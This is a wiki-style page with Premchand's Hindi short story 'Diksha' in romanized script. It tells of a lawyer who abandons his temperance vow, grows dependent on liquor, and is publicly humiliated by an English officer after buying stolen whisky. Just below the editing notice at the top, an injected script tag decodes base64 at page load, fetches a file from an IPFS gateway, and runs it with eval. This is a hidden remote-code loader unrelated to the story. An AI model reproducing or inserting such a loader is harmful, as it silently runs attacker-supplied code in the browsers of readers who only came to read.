दीक्षा -प्रेमचंद

chitr:Icon-edit.gif

is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

jab maian skool mean padhata tha, geand khelata tha aur adhyapak mahodayoan ki ghu dakiyaan khata tha, arthath meri kishoravastha thi, n jnan ka uday hua tha aur n buddhi ka vikas, us samay maian teanpareans esosieshan (nashanivarani sabha) ka utsahi sadasy tha. nity usake jalasoan mean sharik hota, usake lie chanda vasool karata. itana hi nahian, vratadhari bhi tha aur is vrat ke palan ka atal sankalp kar chuka tha. pradhan mahoday ne mere diksha lete samay jab poochha- ‘tumhean vishvas hai ki jivan-paryant is vrat par atal rahoge?’ to maianne nishshank bhav se uttar diya- ‘haan, mujhe poorn vishvas hai.’ pradhan ne muskarakar pratijna-patr mere samane rakh diya. us din mujhe kitana anand hua tha ! gaurav se sir uthaye ghoomata phirata tha. kee bar pitaji se bhi be-adabi kar baitha, kyoanki vah sandhya samay thakan mitane ke lie ek gilas pi liya karate the. mujhe yah asahy tha. kahooanga eeman ki. pitaji aib karate the, par hunar ke sath. jyoan hi jara-sa saroor a jata, aankhoan mean surkhi ki abha jhalakane lagati ki byaloo karane baith jate- bahut hi sookshmahari the- aur phir rat-bhar ke lie maya-moh ke bandhanoan se mukt ho jate. maian unhean upadesh deta tha. unase vad-vivad karane par utaroo ho jata tha. ek bar to maianne gajab kar dala tha. unaki botal aur gilas ko patthar par itani zor se pataka ki bhagavanh krishna ne kans ko bhi itani zor se n pataka hoga. ghar mean kaanch ke tuk de phail gaye aur kee dinoan tak nagn charanoan se phiranevali striyoan ke pairoan se khoon baha; par mera utsah to dekhie ! pita ki tivr drishti ki parava n ki. pita ji ne akar apani sanjivani-pradayini botal ka yah shok samachar suna to sidhe bazar gaye aur ek kshan mean tak ke shoony-sthan ki phir poorti ho gayi. maian devasur-sangram ke lie kamar kase baitha tha; magar pitaji ke mukh par leshamatr bhi mail n aya. unhoanne meri or utsahapoorn drishti se dekha- ab mujhe maloom hota hai ki vah atmollas, vishuddh satkamana aur alaukik sneh se paripoorn thi- aur muskara diye. usi tarah muskaraye, jaise kee mas pahale pradhan mahoday muskaraye the. ab unake muskarane ka ashay samajh raha hooan, us samay n samajh saka. bas, itani hi jnan ki vriddhi huee hai. us muskan mean kitana vyangy tha, mere bal-vrat ka kitana upahas aur meri saralata par kitani daya thi, ab usaka marm samajha hooan !

maian apane kalej mean apane vrat par dridh raha. mere kitane hi mitr sanyamashil n the. maian adarsh-charitr samajha jata tha. kalej mean us sankirnata ka nirvah kahaan. buddhoo bana diya jata, koee mulla ki padavi deta, koee naseh kahakar majak u data ! mitragan vyangy-bhav mean kahate- ‘hay afasos, toone pi hi nahian !’ saraansh yah ki yahaan mujhe udar banana p da. mitroan ko kamare mean chusakiyaan lagate dekhata; aur baitha rahata. bhang ghutati aur maian dekha karata. log agrahapoorvak kahate- ‘aji, jara lo bhi.’ to vinit bhav se kahata- ‘kshama kijie, yah mere sistam ko soot nahian karati. siddhaant ke badale ab mujhe sharirik asamarthata ka bahana karana p da. vah satyagrah ka josh, jisane pita ki botal par hath saf kiya tha, gayab ho gaya tha. yahaan tak ki ek bar jab kalej ke chauthe varsh mean mere l daka paida hone ki khabar mili, to meri udarata ki had ho gayi. maianne mitroan ke agrah se majaboor hokar unaki davat ki aur apane hathoan se dhal-dhalakar unhean pilayi. us din saki banane mean hardik anand mil raha tha. udarata vastav mean siddhant se gir jane, adarsh se chyut ho jane ka hi doosara nam hai. apane man ko samajhane ke lie yuktiyoan ka abhav kabhi nahian hota. sansar mean sabase asan kam apane ko dhokha dena hai. maianne khud to nahian pi, pila di, isamean mera kya nukasan? dostoan ki dilashikani to nahian ki? maja to jabhi hai ki doosaroan ko pilaye aur khud n piye.

khair, kalej se maian bedag nikal aya. apane shahar mean vakalat shuroo ki. subah se adhi rat tak chakki mean jutana p da. ve kalej ke sair-sapate, amod-vinod, sab svapn ho gaye. mitroan ki amadarapht band huee, yahaan tak ki chhuttiyoan mean bhi dam marane ki phurasat n milati. jivan-sangram kitana vikat hai, isaka anubhav hua. ise sangram kahana hi bhram hai. sangram ki umang, uttejana, virata aur jay-dhvani yahaan kahaan? yah sangram nahian, thelam-thel, dhakka-pel hai. yahaan ‘chahe dhakke khayan, magar tamasha ghusakar dekhean’ ki dasha hai. mashook ka vasl kahaan, usaki chaukhat ko choomana, daraban ki galiyaan khana aur apana-sa muanh lekar chale ana. din-bhar baithe-baithe aruchi ho jati. mushkil se do chapatiyaan khata aur man mean kahata- ‘kya inhian do chapatiyoan ke lie yah sir-magjan aur yah dida-reji hai? maro, khapo aur vyarth ke lie ! isake sath yah araman bhi thi ki apani motar ho, vishal bhavan ho, tho di-si jamiandari ho, kuchh rupaye baiank mean hoan; par yah sab hua bhi, to mujhe kya? santan unaka sukh bhogegi, maian to vyarth hi mara. maian to khazane ka saanp hi raha. nahian, yah nahian ho sakata. maian doosaroan ke lie hi pran n dooanga, apani mihanat ka maja khud bhi chakhooanga. kya karooan? kahian sair karane chalooan? muvakkil sab titar-bitar ho jayange ! aisa nami vakil to hooan nahian ki mere bagair kam hi n chale aur katipay netaoan ki bhaanti asahayog-vrat dharan karane par bhi koee b da shikar dekhooan, to jhapat p dooan. yahaan to piddi, bater, haril inhian sab par nishana marana hai. phir kya roj thiyetar jaya karooan? phijool hai. kahian do baje rat ko sona nasib hoga, bina maut mar jaooanga. akhir mere hamapesha aur bhi to haian? ve kya karate haian jo unhean barabar khush aur mast dekhata hooan? maloom hota hai, unhean koee chianta hi nahian hai. svarth-seva aangreji shiksha ka pran hai. poorv santan ke lie, yash ke lie, dharm ke lie marata hai, pashchim apane lie. poorv mean ghar ka svami sabaka sevak hota hai, vah sabase zyada kam karata, doosaroan ko khilakar khata, doosaroan ko pahana kar pahanata hai; kiantu pashchim mean vah sabase achchha khana, achchha pahanana apana adhikar samajhata hai. yahaan parivar sarvopari hai, vahaan vyakti sarvopari hai. ham bahar se poorv aur bhitar se pashchim haian. hamare sath adarsh din-din lupt hote ja rahe haian. maianne sochana shuroo kiya, itane dinoan ki tapasya se mujhe kya mil gaya? din-bhar chhati pha dakar kam karata hooan, adhi rat ko muanh dhaanpakar so rahata hooan. yah bhi koee ziandagi hai? koee sukh nahian, manoranjan ka koee saman nahian; din-bhar kam karane ke bad tenis kya khak khelooanga? havakhori ke lie bhi to pairoan mean joota chahie ! aise jivan ko rasamay banane ke lie keval ek hi upay hai- atm-vismriti, jo ek kshan ke lie mujhe sansar ki chiantaoan se mukt kar de. maian apani paristhiti ko bhool jaooan, apane ko bhool jaooan, jara hansooan, jara kahakaha marooan, jara man mean sphoorti aye. keval ek hi booti hai, jisamean ye gun haian aur vah maian janata hooan. kahaan ki pratijna, kahaan ka vrat, ve bachapan ki batean thian. us samay kya janata tha ki meri yah halat hogi? navasphoorti ka bahuly tha, pairoan mean shakti thi, gho de par savar hone ki kya zaroorat thi? tab javani ka nasha tha. ab vah kahaan? yah bhavana mere poorv sanchit samay ki j doan ko hilane lagi. yah nity nayi-nayi yuktiyoan se sashakt hokar ati thi. kyoan, kya tumhian sabase adhik buddhimanh ho? sab to pite haian. jajoan ko dekho, ijalas chho dakar jate aur pi ate haian. prachin kal mean aise vrat nibh jate the, jab jivika itani pranaghatak n thi. log hanseange hi n ki b de vratadhari ki dum bane the, akhir a gaye n chakkar mean ! hansane do, maianne nahak vrat liya. usi vrat ke karan itane dinoan ki tapasya karani p di. nahian pi to kaun-sa b da adami ho gaya, kaun samman pa liya? pahale kitaboan mean padha karata tha, yah hani hoti hai, vah hani hoti hai; magar kahian to nukasan hote nahian dekhata. haan piyakk d, madamast ho jane ki bat aur hai. us tarah to achchhi-se-achchhi vastu ka durupayog bhi haniprad hota hai. jnan bhi jab sima se bahar ho jata hai, to nastikata ke kshetr mean pahuanchata hai. pina chahie ekant mean, chetana ko jagrit karane ke lie, sulane ke lie nahian; bas pahale din jara-jara jhijhak hogi. phir kisaka dar hai. aisi ayojana karani chahie ki log mujhe jabaradasti pila dean, jisamean apani shan bani rahe. jab ek din pratijna toot jayegi, to phir mujhe apani saphaee pesh karane ki zaroorat n rahegi, gharavaloan ke samane bhi aankhean nichi n karani p deangi.

2

maianne nishchay kiya, yah abhinay holi ke din ho. is diksha ke lie isase uttam muhoort kaun hoga? holi pine-pilane ka din hai. us din mast ho jana kshamy hai. pavitr holi agar ho sakati hai, to pavitr chori, pavitr rishvat-sitani bhi ho sakati hai.

holi ayi, abaki bahut iantazar ke bad ayi. maianne diksha lene ki taiyari shuroo ki. kee pinevaloan ko nimantriat kiya. kelanar ki dookan se hniski aur shamapen mangavayi; lemaned, soda, barph, gajak, khamira, tambakoo vagairah sab saman mangavakar lais kar diya. kamara bahut b da n tha. qanooni kitaboan ki alamariyaan hatava dian, pharsh bichhava diya aur sham ko mitroan ka iantazar karane laga, jaise chi diya pankh phailaye baheliyoan ko bula rahi ho.

mitragan ek-ek karake ane lage. nau bajate-bajate sab-ke-sab a biraje. unamean kee to aise the, chulloo mean ulloo ho jate the, par kitane hi kumbhaj rrishi ke anuyayi the- poore samudr-sokh, botal-ki-botal gatagata jayan aur aankhoan mean surkhi n aye ! maianne botal, gilas aur gajak ki tastariyaan samane lakar rakhian.

ek mahashay bole- yar, barf aur sode ke bagair lutph n ayega.

maianne uttar diya- mangava rakha hai, bhool gaya tha.

ek- to phir bismilla ho.

doosara- saki kaun hoga?

maian- yah khidamat mere sipurd kijie.

maianne pyaliyaan bhar-bharakar deni shuroo kian aur yar log pine lage. hoo-hak ka bazar garm hua; ashlil has-parihas ki aandhi-si chalane lagi; par mujhe koee n poochhata tha. khoob achchha ulloo bana ! shayad mujhase kahate hue sakuchate haian. koee majak se bhi nahian kahata, mano maian vaishnav hooan. inhean kaise ishara karooan? akhir sochakar bola- maianne to kabhi pi hi nahian.

ek mitr- kyoan nahian pi? eeshvar ke yahaan apako isaka javab dena p dega !

doosara- pharamaie janab, pharamaie, pharamaie, kya javab dijiega. maian hi usaki taraph se poochhata hooan- kyoan nahian pite?

maian- apani tabiyat, nahian ji chahata.

doosara- yah to koee javab nahian. kodo dekar vakalat pas ki thi kya?

tisara- javab dijie, javab. dijie, dijie. apane samajha kya hai, eeshvar ko apane aisa-vaisa samajh liya hai kya?

doosara- kya apako koee dharmik apatti hai?

maianne kaha- ho sakata hai.

tisara- vah re dharmatma ! kyoan n ho, ap b de dharmatma haian. jara apaki dum dekhooan?

maian- kya dharmatma adamiyoan ke dum hoti hai?

chautha- aur kya, kisi ke hath ki, kisi ke do hath ki. ap haian kis pher mean. dumadaroan ke siva aj dharmatma hai hi kaun? ham sab papatma haian.

tisara- dharmatma vakil, o ho, dharmatma veshya, o ho !

doosara- dharmik apatti to apako ho hi nahian sakati. vakil hona dharmik vicharoan se shoony hone ka chihn hai.

maian- bhaee, mujhe soot nahian karati?

tisara- ab mar liya, mooji ko mar liya, apako soot nahian karati. maian soot kara dooan?

doosara- kya kisi d aauktar ne mana kiya hai?

maian- nahian.

tisara- vah vah ! ap khud hi d aauktar ban gaye. amrit apako soot nahian karata. are dharmatmaji, ek bar pi ke dekhie.

doosara- mujhe apake muanh se yah sunakar ashchary hua. bhaeeji, yah dava hai, mahaushadhi hai, yahi som-ras hai. kahian apane teanpareans ki pratijna to nahian le li hai.

maian- man lijie, li ho, to?

tisara- to ap buddhoo haian, sidhe-sidhe kore buddhoo !

chautha-

jam chalane ko hai sab, ahale-nazar baithe haian,

aankh saqi n churana, ham idhar baithe haian.

doosara- ham sabhi teanpareans ke pratijnadhari haian, par jab vah ham hi nahian rahe, to vah pratijna kahaan rahi? hamare nam vahi haian, par ham vah nahian haian. jahaan l dakapan ki batean ki gayian, vahian vah pratijna bhi gayi.

maian- akhir isase fayada kya hai?

doosara- yah to pine hi se maloom ho sakata hai. ek pyali pijie, fayada n maloom ho, to phir n pijiega.

tisara- mara, mara ab mooji ko pilakar chho deange.

chautha-

aise mean khvar haian din-rat piya karate haian,

ham to sote mean tera nam liya karate haian.

pahala- tum logoan se n banega maian pilana janata hooan.

yah mahashay mote-taje adami the. mera tetua dabaya aur pyali muanh se laga di. meri pratijna toot gayi, diksha mil gayi, murad poori huee, kiantu banavati krodh se bola- ap log apane sath mujhe bhi le doobe.

doosara- mubarak ho, mubarak !

tisara- mubarak, mubarak, sau bar mubarak !

3

navadikshit manushy b da dharmaparayan hota hai. maian sandhya samay din-bhar ki vagvitanda se chhutakara pakar jab ekaant mean, athava do-char mitroan ke sath baithakar pyale-par-pyale chadhata, to chitt ullasit ho uthata tha. rat ko nidra khoob ati thi, par pratahkal aang-aang mean pi da hoti, aang daiyaan atian, mastishk shithil ho jata, yahi ji chahata ki aram se palang par leta rahooan. mitroan ne salah di ki khumari utarane ke lie sabere bhi ek peg pi liya jay, to ati uttam hai. mere man mean bhi bat baith gayi. muanh-hath dhokar pahale sandhya kiya karata tha. ab muanh-hath dhokar chat apane kamare ke ekaant mean botal lekar baith jata. maian itana janata tha ki nashili chijoan ka chasaka bura hota hai, adami dhire-dhire unaka das ho jata hai. yahaan tak ki vah unake bagair kuchh kam hi nahian kar sakata; parantu ye batean janate hue bhi maian unake vashibhoot hota jata tha. yahaan tak naubat pahuanchi ki nashe ke bagair kuchh kam hi n kar sakata. jise amod ke lie muanh lagaya tha vah sal hi bhar mean mere lie jal aur vayu ki bhaanti atyant avashyak ho gayi. agar kabhi kisi mukadame mean bahas karate-karate der ho jati, to aisi thakavat chadhati thi, mano manjiloan chala hooan. us dasha mean ghar ata, to anayas hi bat-bat par jhuanjhalata. kahian naukar ko daantata, kahian bachchoan ko pitata, kahian stri par garam hota. yah sab kuchh tha; par maian katipay any sharabiyoan ki bhaanti nasha ate hi doon ki n leta tha, anargal batean n karata tha, halla n machata tha, n mere svasthy par hi madira-sevan ka kuchh bura asar najar ata tha.

barasat ke din the. nadi-nale badhe hue the. hukkam barasat mean bhi daure karate haian. unhean apane bhatte se matalab. praja ko kitana kasht hota hai, isase unhean kuchh sarokar nahian. maian ek mukadame mean daure par gaya. anuman kiya tha ki sandhya tak laut aooanga; magar nadiyoan ka chadhav-utar p da, das baje pahuanchane ke badale sham ko pahuancha. jant sahab meri pratiksha kar rahe the. mukadama pesh hua; lekin bahas khatam hote-hote rat nau baj gaye. maian apani halat kya kahooan. ji chahata tha, jant sahab ko noch khaooan. kabhi apane pratipakshi vakil ki dadhi nochane ko ji chahata tha, jisane barabas bahas ko itana badhaya. kabhi ji chahata tha, apana sir pit looan. mujhe soch lena chahie tha ki aj rat ko der ho gayi, to? jant mera gulam to hai nahian ki jo meri ichchha ho, vahi kare. n kh de raha jata, n baithe. chhote-mote piyakk d meri durdasha ki kalpana nahian kar sakate.

khair nau bajate-bajate mukadama samapt hua; par ab jaooan kahaan? barasat ki rat, kosoan tak abadi ka pata nahian. ghar lautana kathin hi nahian, asambhav. as-pas bhi koee aisa gaanv nahian, jahaan sanjivani mil sake. gaanv ho bhi to vahaan jay kaun? vakil koee thanedar nahian ki kisi ko begar mean bhej de. b de sankat mean p da hua tha. muvakkil chale gaye, darshak chale gaye, begar chale gaye. mera pratidvandvi musalaman chaparasi ke dastarakhan mean sharik ho kar dakabangale ke baramade mean p da raha; par maian kya karooan? yahaan to pranant-sa ho raha tha. vahian baramade mean tat par baitha hua apani kismat ko ro raha tha, n niand hi ati thi ki is kasht ko bhool jaooan, apane ko usi ki god mean sauanp dooan. gussa alabatte tha ki vah doosara vakil kitani mithi niand so raha hai mano sasural mean sukh-sej par soya hua hai.

idhar to mera yah bura hal tha, udhar dak-bangale mean sahab bahadur gilas par gilas chadha rahe the. sharab ke dhalane ki madhur dhvani mere kanoan mean akar chitt ko aur bhi vyakul kar deti. mujhase baithe n raha gaya. dhire-dhire chik ke pas gaya aur aandar jhaankane laga. ah ! kaisa jivanaprad drishy tha. saphed billaur ke gilas mean barf aur sodavatar se alankrit arun-mukh kamini shobhayaman thi; muanh mean pani bhar aya. us samay koee mera chitr utarata to lolupata ke chitr n mean bazi mar le jata. sahab ki aankhoan mean surkhi thi, muanh par surkhi thi. ekaant mean baitha pita aur manasik ullas ki lahar mean ek aangreji git gata tha. kahaan vah svarg ka sukh aur kahaan yah mera narakabhog ! kee bar prabal ichchha huee ki sahab ke pas chal kar ek gilas maangooan; par dar lagata tha ki kahian sharab ke badale thokar milane lage to yahaan koee phariyad sunanevala bhi nahian hai.

maian vahaan tab tak kh da raha, jab tak sahab ka bhojan samapt n ho gaya. manachahe bhojan aur sura-sevan ke uparaant usane khanasama ko mej saf karane ke lie bulaya. khanasama vahian mej ke niche baitha ooangh raha tha. utha aur plet lekar bahar nikala, to mujhe dekhakar chauank p da. maianne shighr hi usako ashvasan diya- daro mat, daro mat, maian hooan.

khanasama ne chakit hokar kaha- ap haian vakil sahab ! kya hajoor yahaan kh de the?

maian- haan, jara dekhata tha ki ye sab kaise khate-pite haian. bahut sharab pita hai.

khan.- aji kuchh poochhie mat. do botal din-rat mean saf kar dalata hai. 20. ru. roj ki sharab pi jata hai. daure par chalata hai, to char darjan botaloan se kam sath nahian rakhata.

maian- mujhe bhi kuchh adat hai; par aj n mili.

khan.- tab to apako b di takaliph ho rahi hogi?

maian- kya karooan; yahaan to koee dookan bhi nahian. samajhata tha, jaldi se mukadama ho jayaga, ghar laut jaooanga. isilie koee saman sath n laya.

khan.- mujhe to aphim ki adat hai. ek din n mile to bavala ho jata hooan. amalavale ko chahe kuchh n mile, amal mil jay to use koee fikr nahian, khana chahe tin din mean mile.

maian- vahi hal hai bhaee, bhugat raha hooan. aisa maloom hota hai, badan mean jan hi nahian hai.

khan.- hajoor ko kam-se-kam ek botal sath rakh leni chahie thi. jeb mean dal lete.

maian- itani hi to bhool huee, nahian rona kahe ka tha.

khan.- niand bhi n ati hogi?

maian- kaisi niand, dam laboan par hai, n jane rat kaise gujaregi.

maian chahata tha, khanasama apani taraph se meri agni shaant karane ka prastav kare, jisamean mujhe lajjit n hona p de. par khanasama bhi chant tha. bola- allah ka nam lekar so jaie, niand kab tak n ayegi.

maian- niand to n ayegi. haan, mar bhale hi jaooanga. kya sahab botalean ginakar rakhate haian? ginate to kya hoange?

khan.- are huzoor, ek hi mooji hai. botal poori nahian hoti, to us par nishan bana deta hai. majal hai ki ek booand bhi kam ho jay.

maian- b di musibat hai, mujhe to ek gilas chahie. bas, itana hi chahata hooan ki niand a jay. jo inam kaho, vah dooan.

khan.- inam to huzoor deange hi; lekin khauph yahi hai ki kahian bhaanp gaya, to phir mujhe jianda n chho dega.

maian- yar, lao, ab zyada sabr ki tab nahian hai.

khan.- apake lie jan hajir hai; par ek botal 10 ru. mean ati hai. maian kal kisi begar se mangakar tadad poori kar dooanga.

maian- ek botal tho de hi pi jaooanga.

khan.- sath lete jaiega huzoor ! adhi botal khali mere pas rahegi, to use phauran shubaha ho jayaga. b da shakki hai, mera muanh sooangha karata hai ki isane pi n li ho.

mujhe 20 ru. mihanatane ke mile the. din-bhar ki kamaee ka adha dete hue kalak to hua, par doosara upay hi kya tha? chupake se 10 ru. nikal kar khanasama ke havale kiye. usane ek botal aangareji sharab mujhe la di. baraph aur soda bhi leta aya. maian vahian aandhere mean botal kholakar apani paritapt atma ko sudha-jal se sianchit karane laga.

kya janata tha ki vidhana mere lie koee doosara hi shadyantr rach raha hai, vish pilane ki taiyariyaan kar raha hai.

4

nashe ki niand ka poochhana hi kya? us par hvisaki ki adhi botal chadha gaya tha. din chadhe tak sota raha. koee ath baje jha doo laganevale mehatar ne jagaya, to niand khuli. sharab ki botal aur gilas sirahane rakhakar chhatari se chhipa diya tha. oopar se apana gaun dal diya tha. uthate hi uthate sirahane nigah gayi. botal aur gilas ka pata n tha. kaleja dhakh se ho gaya. khanasama ko khojane laga ki poochhooan, usane to nahian uthakar rakh diya. is vichar se utha aur tahalata hua dak-bangale ke pichhava de gaya, jahaan naukaroan ke lie alag kamare bane hue the; par vahaan ka bhayankar drishy dekh kar age qadam badhane ka sahas n hua.

sahab khanasama ka kan pak de hue the. sharab ki botalean alag-alag rakhi huee thian, sahab ek, do, tin karake ginate the aur khanasama se poochhate the, ek botal aur kahaan gaya?- khanasama kahata tha- huzoor, khuda mera muanh kala kare, jo maianne kuchh bhi dagal-phasal ki ho.

sahab- ham kya jhooth bolata hai? 29 botal nahian tha?

khan.- huzoor, khuda ki kasam, mujhe nahian maloom kitani botalean thian.

is par sahab ne khanasama ke kee tamache lagaye. phir kaha- tum gine, tum n batayega, to ham tumako jan se mar dalega. hamara kuchh nahian ho sakata. ham hakim hai, aur hakim log hamara dost hai. ham tumako abhi-abhi mar dalega, nahian to batala de, ek botal kahaan gaya?

mere pran sookh gaye. bahut dinoan ke bad eeshvar ki yad ayi. man-hi-man govarddhanadhari ka smaran karane laga. ab laj tumhare hath hai ! bhagavanh ! tumhian bachao to naiya bach sakati hai, nahian to manjhadhar mean doobi jati hai ! aangrej hai, n jane kya musibat dha de. bhagavanh ! khanasama ka muanh band kar do, usaki vani har lo, tumane b de-b de drohiyoan aur dushtoan ki raksha ki hai. ajamil ko tumhian ne tara tha. maian bhi drohi hooan, drohiyoan ka drohi hooan. mera sankat haro. abaki jan bachi, to sharab ki or aankh n uthaooanga.

mar ke age bhoot bhagata hai ! mujhe prati kshan yah shanka hoti thi ki kahian yah lokokti charitarth n ho jay. kahian khanasama khul n p de. nahian to phir meri khair nahian ! sanad chhine jane ka, chori ka mukadama chal jane ka, athava jaj sahab se tiraskrit kiye jane ka itana bhay n tha; jitana sahab ke padaghat ka lakshy banane ka. jalim hantar lekar dau d n p de. yoan maian itana durbal nahian hooan, hrisht-pusht aur sahasi manushy hooan. kalej mean khel-kood ke lie paritoshik pa chuka hooan. ab bhi barasat mean do mahine mugdar pher leta hooan; lekin us samay bhay ke mare bura hal tha. mere naitik bal ka adhar pahale hi nasht ho chuka tha. chor mean bal kahaan- mera man, mera bhavishy, mera jivan khanasama ke keval ek shabd par nirbhar tha- keval ek shabd par ! kisaka jivan-sootr itana kshin, itana jirn, itana jarjar hoga !

maian man-hi-man pratijna kar raha tha- sharabiyoan ki toba nahian, sachchi, dridh pratijna- ki is sankat se bacha to phir sharab n piooanga. maianne apane man ko charoan or se baandh rakhane ke lie, usake kutarkoan ka dvar band karane ke lie ek bhishan shapath khayi.

magar hay re durdev ! koee sahayak n hua. n govarddhanadhari ne sudh li, n nrisianh bhagavanh ne. ve sab satyayug mean aya karate the. n pratijna kuchh kam ayi; n shapath ka kuchh asar hua. mere bhagy, ya durbhagy mean jo kuchh bada tha, vah hokar raha. vidhana ne meri pratijna sudridh rakhane ke lie shapath ko yathesht n samajha.

khanasama bechara apani bat ka dhani tha. thapp d khaye, thokar khayi, dadhi nuchavayi, par n khula, n khula. b da satyavadi, vir purush tha. maian shayad aisi dasha mean itana atal n rah sakata. shayad pahale hi thapp d mean ugal deta. usaki or se mujhe jo ghor shanka ho rahi thi, vah nirmool siddh huee. jab tak jiooanga, us viratma ka gunanuvad karata rahooanga.

par mere oopar doosari hi or se vajrapat hua.

5

khanasama par jab mar-dha d ka kuchh asar n hua, to sahab usake kan pak de hue dak-bangale ki taraph chale. maianne unhean ate dekha chatapat samane baramade mean ja baitha aur aisa muanh bana liya mano kuchh janata hi nahian. sahab ne khanasama ko lakar mere samane kh da kar diya. maian bhi uthakar kh da ho gaya. us samay yadi koee mere hriday ko chirata, to rakt ki ek booand bhi n nikalati.

sahab ne mujhase poochha- vel vakil sahab, tum sharab pita hai?

maian inakar n kar saka.

‘tumane rat sharab pi thi?’

maian inakar n kar saka.

‘tumane mere is khanasama se sharab li thi?’

maian inakar n kar saka.

‘tumane rat ko sharab pikar botal aur gilas apane sir ke niche chhipakar rakha tha?’

maian inakar n kar saka. mujhe bhay tha ki khanasama kahian khul n p de; par ulate maian hi khul p da.

‘tum janata hai, yah chori hai !’

maian inakar n kar saka.

‘ham tumako muattal kar sakata hai, tumhara sanad chhin sakata hai, tumako jel bhej sakata hai.’

yatharth hi tha.

‘ham tumako thokaroan se marakar gira sakata hai. hamara kuchh nahian ho sakata !’

yatharth hi tha.

‘tum kala adami vakil banata hai, hamare khanasama se chori ka sharab leta hai. tum suar ! lekin ham tumako vahi saza dega, jo tum pasand kare. tum kya chahata hai.

maianne kaanpate hue kaha- huzoor, muaphi chahata hooan.

‘nahian, ham saza poochhata hai !’

‘jo huzoor munasib samajhean.’

‘achchha, yahi hoga.’

yah kahakar us nirdayi, narapishach ne do sipahiyoan ko bulaya, aur unase mere donoan hath pak dava diye. maian maun dharan kiye is tarah sir jhukae kh da raha, jaise koee l daka adhyapak ke samane beant khane ko kh da hota hai. isane mujhe kya dand dene ka vichara hai? kahian meri mushkean to n kasavayega, ya kan pak dakar utha-baithi to n karavayega. devataoan se sahayata milane ki koee asha to n thi, par adrishy ka avahan karane ke atirikt aur upay hi kya tha !

mujhe sipahiyoan ke hath chho dakar sahab daftar mean gaye aur vahaan se mohar chhapane ki syahi aur brash liye hue nikale. ab meri aankhoan se ashrupat hone laga. yah ghor apaman aur tho di-si sharab ke lie ! vah bhi dugane dam dene par !

sahab brash se mere muanh mean kalima pot rahe the, vah kalima, jise dhone ke lie seroan sabun ki zaroorat thi aur maian bhigi billi ki bhaanti kh da tha. un donoan yamadootoan ko bhi mujh par daya n ati thi, donoan hindustani the, par unhian ke hathoan meri yah durdasha ho rahi thi. is desh ko svarajy mil chuka !

sahab kalima potate aur hansate jate the. yahaan tak ki aankhoan ke siva til-bhar bhi jagah n bachi ! tho di-si sharab ke lie adami se vanamanush banaya ja raha tha. dil mean soch raha tha, yahaan se jate-hi-jate bacha par manahani ki nalish kar dooanga, ya kisi badamash se kah dooanga, ijalas hi par bacha ki jootoan se khabar le.

mujhe vanamanush banakar sahab ne mere hath chhu dava diye aur tali bajata hua mere pichhe dau da. nau baje ka samay tha. karmachari, muvakkil, chaparasi sabhi a gaye. saik doan adami jama the, mujhe n jane kya shamat soojhi ki vahaan se bhaga. yah us prahasan ka sabase karunajanak drishy tha. age-age maian dau data jata tha, pichhe-pichhe sahab aur any saik doan adami taliyaan bajate ‘lena lena, jane na pave’ ka gul machate dau de jate the, mano kisi bandar ko bhaga rahe hoan.

lagabhag ek mil tak yah dau d rahi. vah to kaho maian kasarati adami hooan, bachakar nikal aya, nahian meri n jane aur kya durgati hoti. shayad mujhe gadhe par bithakar ghumana chahate the. jab sab pichhe rah gaye to maian ek nale ke kinare bedam hokar baitha raha. ab mujhe soojhi ki yahaan koee aya to pattharoan se mare bina n chho dooanga, chahe ulati p de ya sidhi; kintu maianne nale mean muanh dhone ki cheshta nahian ki. janata tha, pani se yah kalima n chhootegi. yahi sochata raha ki is aangarej par kaise abhiyog chalaooan? yah to chhipana hi p dega ki maianne isake khanasama se chori ki sharab li. agar yah bat sabit ho gayi, ulata maian hi phans jaooanga. kya haraj hai, itana chhipa dooanga. shatruta ka karan kuchh aur hi dikha dooanga; par mukadama zaroor chalana chahie.

jaooan kahaan? yah kalima-mandit muanh kise dikhaooan ! hay ! badamash ko kalikh hi lagani thi, to kya tave mean kalikh n thi, laimp mean kalikh n thi ! kam-se-kam chhoot to jati. jitana apaman hua hai, vahian tak rahata. ab to maian mano apane kukrity ka svayan dhiandhora pit raha hooan. doosara hota, to itani durgati par doob marata !

ganimat yahi thi ki abhi tak raste mean kisi se mulakat nahian huee thi; nahian to use kalima sambandhi prashnoan ka kya uttar deta? jab jara thakan kam huee, to maianne socha, yahaan kab tak baitha rahooanga. lao, ek bar yatn karake dekhooan to, shayad syahi chhoot jay. maianne baloo se muanh rag dana shuroo kiya. dekha to syahi chhoot rahi thi. us samay mujhe jitana anand hua, usaki kaun kalpana kar sakata hai. phir to mera hausala badha. maianne muanh ko itana rag da ki kee jagah cham da tak chhil gaya; kiantu vah kalima chhu dane ke lie mujhe is samay b di-se-b di pi da bhi tuchchh jan p dati thi. yadyapi maian nange sir tha, keval kurta aur dhoti pahane hue tha, par yah koee apaman ki bat nahian. gaun, achakan, pag di dak-bangale hi mean rah gayi, isaki mujhe chianta n thi. kalikh to chhoot gayi.

lekin kalima chhoot jati hai, par usaka dag dil se kabhi nahian mitata. is ghatana ko aj bahut din ho gaye. poore paanch sal hue, maianne sharab ka nam nahian liya, pine ki kaun kahe. kadachith mujhe sanmarg par lane ke lie yah eeshvariy vidhan tha. koee yukti, koee tark, koee chutaki mujh par itana sthayi prabhav n dal sakati thi. suphal ko dekhate hue to maian yahi kahooanga ki jo kuchh hua bahut achchha hua. vahi hona chahie tha; par us samay dil par jo gujari thi, use yad karake aj bhi niand uchat jati hai.

ab vipatti-katha ko kyoan tool dooan. pathak svayan anuman kar sakate haian. khabar to phail gayi, kintu maianne jheanpane aur sharamane ke badale behayaee se kam lena adhik anukool samajha. apani bevakoophi par hansata tha aur bedh dak apani durdasha ki katha kahata tha. haan, chalaki yah ki ki usamean kuchh tho da-sa apani taraph se badha diya, arthath rat ko jab mujhe nasha chadha to maian botal aur gilas liye sahab ke kamare mean ghus gaya aur use kurasi se patakakar khoob mara. is kshepak se meri dalit, apamanit, mardit atma ko tho di-si taskin hoti thi. dil par to jo kuchh gujari, vah dil hi janata hai.

sabase b da bhay mujhe yah tha ki kahian yah bat meri patni ke kanoan tak n pahuanche, nahian to unhean b da duahkh hoga. maloom nahian unhoanne suna ya nahian; par mujhase isaki charcha nahian ki.

sanbandhit lekh

